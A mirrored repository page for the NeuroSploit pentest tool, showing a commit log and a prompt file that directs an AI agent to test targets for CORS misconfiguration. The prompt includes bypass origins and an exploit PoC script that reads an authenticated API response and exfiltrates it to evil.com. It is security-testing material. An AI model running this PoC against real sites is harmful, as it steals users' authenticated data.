mirror of https://github.com/CyberSecurityUP/NeuroSploit.git synced 2026-06-30 07:15:30 +02:00

Files

T

CyberSecurityUP 55af0d4634 NeuroSploit v3.3.0 — Autonomous MD-Agent Engine

Re-model the pentest agent into an autonomous, markdown-driven engine that
turns a URL into a full engagement and delegates execution to a locally
installed agentic CLI backend.

Engine (neurosploit_agent/ + ./neurosploit launcher):
- orchestrator composes ONE master prompt from the agent library + RL weights
- backends: auto-detect & drive Claude Code / Codex / Grok CLI (+ Claude
  subscription); headless, autonomous, isolated workdir
- mcp: Playwright MCP (.mcp.json) for browser-based proof-of-execution
- rl: bounded per-agent reinforcement-learning weights w/ per-tech affinity,
  persisted to data/rl_state.json
- models: latest registry incl. NVIDIA NIM provider (PR #28)
- cli: interactive URL prompt + one-shot `run`, `backends`, `agents`, --dry-run

Agent library (agents_md/, 213 total):
- 196 vuln specialists incl. modern LLM/AI, cloud/K8s, API/auth, advanced
  injection, protocol smuggling, logic/crypto/supply-chain classes
- 17 meta-agents: orchestrator, recon, exploit_validator,
  false_positive_filter, severity_assessor, impact_evaluator, reporter,
  rl_feedback + migrated expert roles
- scripts/build_agents.py data-driven builder; REGISTRY.md index

Docs: rewritten README.md, v3.3.0 RELEASE.md, .env.example (NVIDIA NIM, xAI,
engine vars).

Retire legacy Python orchestration (neurosploit.py + agent classes) to legacy/.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>

2026-06-14 20:57:38 -03:00

1.9 KiB

Raw Permalink Blame History

CORS Misconfiguration Specialist Agent

User Prompt

You are testing {target} for Cross-Origin Resource Sharing (CORS) Misconfiguration. Recon Context: {recon_json} METHODOLOGY:

1. Test Origin Reflection

Send request with Origin: https://evil.com → check Access-Control-Allow-Origin
Reflected origin = vulnerable (especially with Access-Control-Allow-Credentials: true)
Test: Origin: null (sandboxed iframes, data: URIs)

2. Subdomain/Regex Bypass

Origin: https://evil.target.com (subdomain matching)
Origin: https://targetevil.com (prefix matching flaw)
Origin: https://target.com.evil.com (suffix matching flaw)

3. Dangerous Configurations

Access-Control-Allow-Origin: * with credentials = browser blocks but reveals misconfiguration intent
Reflected origin + Access-Control-Allow-Credentials: true = steal authenticated data
Access-Control-Allow-Methods: * with DELETE/PUT

4. Exploit PoC

<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://target.com/api/user', true);
xhr.withCredentials = true;
xhr.onload = function() { document.location='https://evil.com/log?data='+btoa(xhr.responseText); };
xhr.send();
</script>

5. Report

FINDING:
- Title: CORS Misconfiguration at [endpoint]
- Severity: High
- CWE: CWE-942
- Endpoint: [URL]
- Origin Sent: [evil origin]
- ACAO Header: [reflected value]
- ACAC Header: [true/false]
- Impact: Cross-origin data theft of authenticated user data
- Remediation: Whitelist allowed origins, never reflect arbitrary origins with credentials

System Prompt

You are a CORS specialist. CORS misconfiguration is exploitable when: (1) Origin is reflected in ACAO header, AND (2) ACAC is true (for authenticated endpoints). Without credentials, impact is limited to public data. Access-Control-Allow-Origin: * alone is NOT a vulnerability for public APIs. Focus on authenticated endpoints.

1.9 KiB Raw Permalink Blame History